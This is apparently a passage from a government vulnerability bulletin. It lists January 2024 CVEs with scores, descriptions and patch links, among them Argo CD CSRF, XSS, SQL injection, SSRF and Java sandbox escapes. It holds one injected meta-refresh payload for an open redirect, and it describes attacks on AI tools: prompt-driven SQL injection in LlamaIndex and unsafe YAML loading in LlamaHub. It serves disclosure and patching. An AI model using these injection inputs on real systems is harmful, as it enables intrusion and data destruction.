Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.3	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the "Lax" SameSite cookie policy to	https://github.com/argoproj/argo-cd/pull/16860, https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg	A-LIN-ARGO-140224/687

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the "Lax" SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request" for POSTs with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CD versions: 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22424**		
Affected Version(s): From (including) 0.1.0 Up to (excluding) 2.7.16					
Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.3	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker	https://github.com/argoproj/argo-cd/pull/16860, https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg	A-LIN-ARGO-140224/688

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the "Lax" SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the "Lax" SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight request" for POSTs with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo CD versions: 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22424**		
Affected Version(s): From (including) 2.8.0 Up to (excluding) 2.8.8					
Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.3	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For	https://github.com/argoproj/argo-cd/pull/16860, https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg	A-LIN-ARGO-140224/689

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the “Lax” SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the “Lax” SameSite cookie does not prevent the browser from		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight request" for POSTs with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo CD versions: 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22424**		
Affected Version(s): From (including) 2.9.0 Up to (excluding) 2.9.4					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.3	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the "Lax" SameSite cookie policy to prevent CSRF	https://github.com/argoproj/argo-cd/pull/16860, https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg	A-LIN-ARGO-140224/690

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the "Lax" SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight request" for POSTs		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo CD versions: 2.10-		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22424**		
Product: dex					
Affected Version(s): 2.37.0					
Inadequate Encryption Strength	25-Jan-2024	7.5	Dex is an identity service that uses OpenID Connect to drive authentication for other apps. Dex 2.37.0 serves HTTPS with insecure TLS 1.0 and TLS 1.1. `cmd/dex/serve.go` line 425 seemingly sets TLS 1.2 as minimum	https://github.com/dexidp/dex/commit/5bbdb4420254ba73b9c4df4775fe7bdacf233b17, https://github.com/dexidp/dex/pull/2964	A-LIN-DEX-140224/691

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			version, but the whole `tlsConfig` is ignored after `TLS cert reloader` was introduced in v2.37.0. Configured cipher suites are not respected either. This issue is fixed in Dex 2.38.0. **CVE ID : CVE-2024-23656**		
Vendor: liuwy-dlsdys					
Product: zhglxt					
Affected Version(s): 4.7.7					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	4.8	A vulnerability, which was classified as problematic, has been found in liuwy-dlsdys zhglxt 4.7.7. This issue affects some unknown processing of the file /oa/notify/edit of the component HTTP POST Request Handler. The manipulation of the argument notifyTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this	N/A	A-LIU-ZHGL-140224/692

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability is VDB-251543. **CVE ID : CVE-2024-0718**		
Vendor: livesite					
Product: livesite					
Affected Version(s): 2019.1					
N/A	25-Jan-2024	9.8	liveSite v2019.1 was discovered to contain a remote code execution (RCE) vulenrabiity via the component /livesite/edit_designer_region.php. **CVE ID : CVE-2024-22638**	N/A	A-LIV-LIVE-140224/693
Vendor: ljapps					
Product: wp_review_slider					
Affected Version(s): * Up to (excluding) 13.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	4.8	The WP Review Slider WordPress plugin before 13.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) **CVE ID : CVE-2023-6456**	N/A	A-LJA-WP_R-140224/694
Vendor: llamahub					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: llamahub					
Affected Version(s): * Up to (excluding) 0.0.67					
N/A	21-Jan-2024	9.8	The OpenAPI and ChatGPT plugin loaders in LlamaHub (aka llama-hub) before 0.0.67 allow attackers to execute arbitrary code because safe_load is not used for YAML. **CVE ID : CVE-2024-23730**	https://github.com/run-llama/llama-hub/pull/841/commits/9dc9c21a5c6d0226d1d2101c3121d4f085743d52	A-LLA-LLAM-140224/695
Vendor: llamaindex					
Product: llamaindex					
Affected Version(s): * Up to (including) 0.9.34					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	22-Jan-2024	9.8	LlamaIndex (aka llama_index) through 0.9.34 allows SQL injection via the Text-to-SQL feature in NLSQLTableQueryEngine, SQLTableRetrieverQueryEngine, NLSQLRetriever, RetrieverQueryEngine, and PGVectorSQLQueryEngine. For example, an attacker might be able to delete this year's student records via "Drop the Students table"	https://github.com/run-llama/llama_index/issues/9957	A-LLA-LLAM-140224/696

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			within English language input. **CVE ID : CVE-2024-23751**		
Vendor: longwatchstudio					
Product: woosupply					
Affected Version(s): * Up to (including) 1.2.2					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph)	N/A	A-LON-WOOS-140224/697

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Product: woovip					
Affected Version(s): * Up to (including) 1.4.4					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and	N/A	A-LON-WOOV-140224/698

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Product: woovirtualwallet					
Affected Version(s): * Up to (including) 2.2.1					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce,	N/A	A-LON-WOOV-140224/699

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-40700		
Vendor: loom					
Product: loom					
Affected Version(s): * Up to (including) 0.196.1					
N/A	28-Jan-2024	9.8	An issue in Loom on macOS version 0.196.1 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments settings. **CVE ID : CVE-2024-23742**	N/A	A-LOO-LOOM-140224/700
Vendor: lrx0014					
Product: examsys					
Affected Version(s): 9150244					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	17-Jan-2024	7.5	ExamSys 9150244 allows SQL Injection via the /Support/action/Pages.php s_score2 parameter. **CVE ID : CVE-2023-52285**	https://github.com/lrx0014/ExamSys/commit/915024448428867f2228cf7f06abd1b6e65e9397	A-LRX-EXAM-140224/701
Vendor: ls1intum					
Product: artemis_java_test_sandbox					
Affected Version(s): * Up to (excluding) 1.11.2					
N/A	19-Jan-2024	8.2	Artemis Java Test Sandbox versions before 1.11.2 are	https://github.com/ls1intum/Ares/security/ad	A-LS1-ARTE-140224/702

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerable to a sandbox escape when an attacker loads untrusted libraries using System.load or System.loadLibrary. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code. **CVE ID : CVE-2024-23681**	visories/GHSA-98hq-4wmw-98w9	
Affected Version(s): * Up to (excluding) 1.7.6					
N/A	19-Jan-2024	8.2	Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392, https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx	A-LS1-ARTE-140224/703

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23683		
Affected Version(s): * Up to (excluding) 1.8.0					
N/A	19-Jan-2024	8.2	Artemis Java Test Sandbox versions before 1.8.0 are vulnerable to a sandbox escape when an attacker includes class files in a package that Ares trusts. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code. **CVE ID : CVE-2024-23682**	https://github.com/ls1intum/Ares/security/advisories/GHSA-227w-wv4j-67h4	A-LS1-ARTE-140224/704
Vendor: macroturk					
Product: macro-bel					
Affected Version(s): * Up to (excluding) 1.0.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	6.1	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Macroturk Software and Internet	N/A	A-MAC-MACR-140224/705

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Technologies Macro-Bel allows Reflected XSS.This issue affects Macro-Bel: before V.1.0.1. **CVE ID : CVE-2023-7153**		
Vendor: maff					
Product: electronic_delivery_check_system					
Affected Version(s): * Up to (including) 14.0.001.002					
Improper Restriction of XML External Entity Reference	24-Jan-2024	5.5	Electronic Delivery Check System (Ministry of Agriculture, Forestry and Fisheries The Agriculture and Rural Development Project Version) March, Heisei 31 era edition Ver.14.0.001.002 and earlier improperly restricts XML external entity references (XXE). By processing a specially crafted XML file, arbitrary files on the system may be read by an attacker. **CVE ID : CVE-2024-22380**	N/A	A-MAF-ELEC-140224/706
Vendor: mafiatic					
Product: blue_server					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 1.1					
Improper Resource Shutdown or Release	25-Jan-2024	7.5	A vulnerability, which was classified as problematic, has been found in Mafiatic Blue Server 1.1. Affected by this issue is some unknown functionality of the component Connection Handler. The manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252038 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0887**	N/A	A-MAF-BLUE-140224/707
Vendor: magneticone					
Product: magento_to_woocommerce_migration					
Affected Version(s): * Up to (including) 2.0.0					
Missing Authorization	17-Jan-2024	4.3	Missing Authorization vulnerability in MagneticOne Cart2Cart: Magento to WooCommerce Migration.This issue affects Cart2Cart: Magento to WooCommerce	N/A	A-MAG-MAGE-140224/708

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Migration: from n/a through 2.0.0. **CVE ID : CVE-2023-34379**		
Vendor: marcomilesi					
Product: browser_theme_color					
Affected Version(s): * Up to (including) 1.3					
Cross-Site Request Forgery (CSRF)	31-Jan-2024	8.8	Cross-Site Request Forgery (CSRF) vulnerability in Marco Milesi Browser Theme Color.This issue affects Browser Theme Color: from n/a through 1.3. **CVE ID : CVE-2024-22291**	N/A	A-MAR-BROW-140224/709
Vendor: marcorulicke					
Product: coru_lfmember					
Affected Version(s): * Up to (including) 1.0.2					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	6.1	The Coru LFMember WordPress plugin through 1.0.2 does not have CSRF check in place when adding a new game, and is lacking sanitisation as well as escaping in their settings, allowing attacker to make a logged in admin add an	N/A	A-MAR-CORU-140224/710

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary game with XSS payloads **CVE ID : CVE-2022-1618**		
Vendor: markusbegerow					
Product: wp-adv-quiz					
Affected Version(s): * Up to (including) 1.0.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	4.8	The Wp-Adv-Quiz WordPress plugin before 1.0.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed. **CVE ID : CVE-2023-5943**	N/A	A-MAR-WP-A-140224/711
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	4.8	The Wp-Adv-Quiz WordPress plugin through 1.0.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).	N/A	A-MAR-WP-A-140224/712

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-5956		
Vendor: martinmbithi					
Product: internet_banking_system					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	5.4	A vulnerability classified as problematic was found in CodeAstro Internet Banking System 1.0. Affected by this vulnerability is an unknown functionality of the file pages_client_signup.php. The manipulation of the argument Client Full Name leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251677 was assigned to this vulnerability. **CVE ID : CVE-2024-0773**	N/A	A-MAR-INTE-140224/713
Vendor: martmbithi					
Product: internet_banking_system					
Affected Version(s): 1.0					
URL Redirection to Untrusted	22-Jan-2024	6.1	A vulnerability, which was classified as problematic, was	N/A	A-MAR-INTE-140224/714

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Site ('Open Redirect')			found in CodeAstro Internet Banking System 1.0. This affects an unknown part of the file pages_client_signup.php. The manipulation of the argument Client Full Name with the input <meta http-equiv="refresh" content="0; url=https://vuldb.com" /> leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251697 was assigned to this vulnerability. **CVE ID : CVE-2024-0781**		
Vendor: marvinlabs					
Product: wp_customer_area					
Affected Version(s): * Up to (excluding) 8.2.1					
N/A	16-Jan-2024	6.5	The WP Customer Area WordPress plugin before 8.2.1 does not properly validates user capabilities in some of its AJAX actions, allowing any users to retrieve other	N/A	A-MAR-WP_C-140224/715

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user's account address. **CVE ID : CVE-2023-6824**		
N/A	16-Jan-2024	4.3	The WP Customer Area WordPress plugin before 8.2.1 does not properly validate users capabilities in some of its AJAX actions, allowing malicious users to edit other users' account address. **CVE ID : CVE-2023-6741**	N/A	A-MAR-WP_C-140224/716
Affected Version(s): * Up to (excluding) 8.2.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Jan-2024	6.1	The WP Customer Area plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in all versions up to, and including, 8.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an	https://plugins.trac.wordpress.org/changeset/3025865/customer-area/trunk/src/php/core-addons/admin-area/templates/dashboard-page.template.php, https://www.wordfence.com/threat-intel/vulnerabilities/id/567d62ec-e868-45e2-b07a-8cc661d7c5e1?source=cve	A-MAR-WP_C-140224/717

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			action such as clicking on a link. **CVE ID : CVE-2024-0665**		
Vendor: Mate-desktop					
Product: atril					
Affected Version(s): * Up to (excluding) 1.26.2					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	25-Jan-2024	7.8	Atril Document Viewer is the default document reader of the MATE desktop environment for Linux. A path traversal and arbitrary file write vulnerability exists in versions of Atril prior to 1.26.2. This vulnerability is capable of writing arbitrary files anywhere on the filesystem to which the user opening a crafted document has access. The only limitation is that this vulnerability cannot be exploited to overwrite existing files, but that doesn't stop an attacker from achieving Remote Command Execution on the target system. Version 1.26.2 of Atril contains a	https://github.com/mate-desktop/atril/commit/e70b21c815418a1e6ebedf6d8d31b8477c03ba50, https://github.com/mate-desktop/atril/security/advisories/GHSA-6mf6-mxpc-jc37	A-MAT-ATRI-140224/718

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			patch for this vulnerability. **CVE ID : CVE-2023-52076**		
Vendor: mayurik					
Product: online_tours_\&travels_management_system					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	25-Jan-2024	9.8	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been rated as critical. This issue affects the function exec of the file payment.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252035. **CVE ID : CVE-2024-0884**	N/A	A-MAY-ONLI-140224/719
Product: online_tours_\&_travels_management_system					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements	19-Jan-2024	9.8	A vulnerability was found in SourceCodester Online Tours & Travels	N/A	A-MAY-ONLI-140224/720

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
used in an SQL Command ('SQL Injection')			Management System 1.0. It has been rated as critical. Affected by this issue is the function exec of the file admin/operations/expense.php. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251558 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0735**		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	25-Jan-2024	9.8	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been declared as critical. This vulnerability affects the function prepare of the file admin/pay.php. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has	N/A	A-MAY-ONLI-140224/721

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			been disclosed to the public and may be used. VDB-252034 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0883**		
Vendor: megabip					
Product: megabip					
Affected Version(s): * Up to (including) 4.36.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	5.4	Improper Input Validation vulnerability in MegaBIP and already unsupported SmodBIP software allows for Stored XSS.This issue affects SmodBIP in all versions and MegaBIP in versions up to 4.36.2 (newer versions were not tested; the vendor has not confirmed fixing the vulnerability). **CVE ID : CVE-2023-5378**	N/A	A-MEG-MEGA-140224/722
Vendor: mekshq					
Product: meks_smart_social_widget					
Affected Version(s): * Up to (including) 1.6.3					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
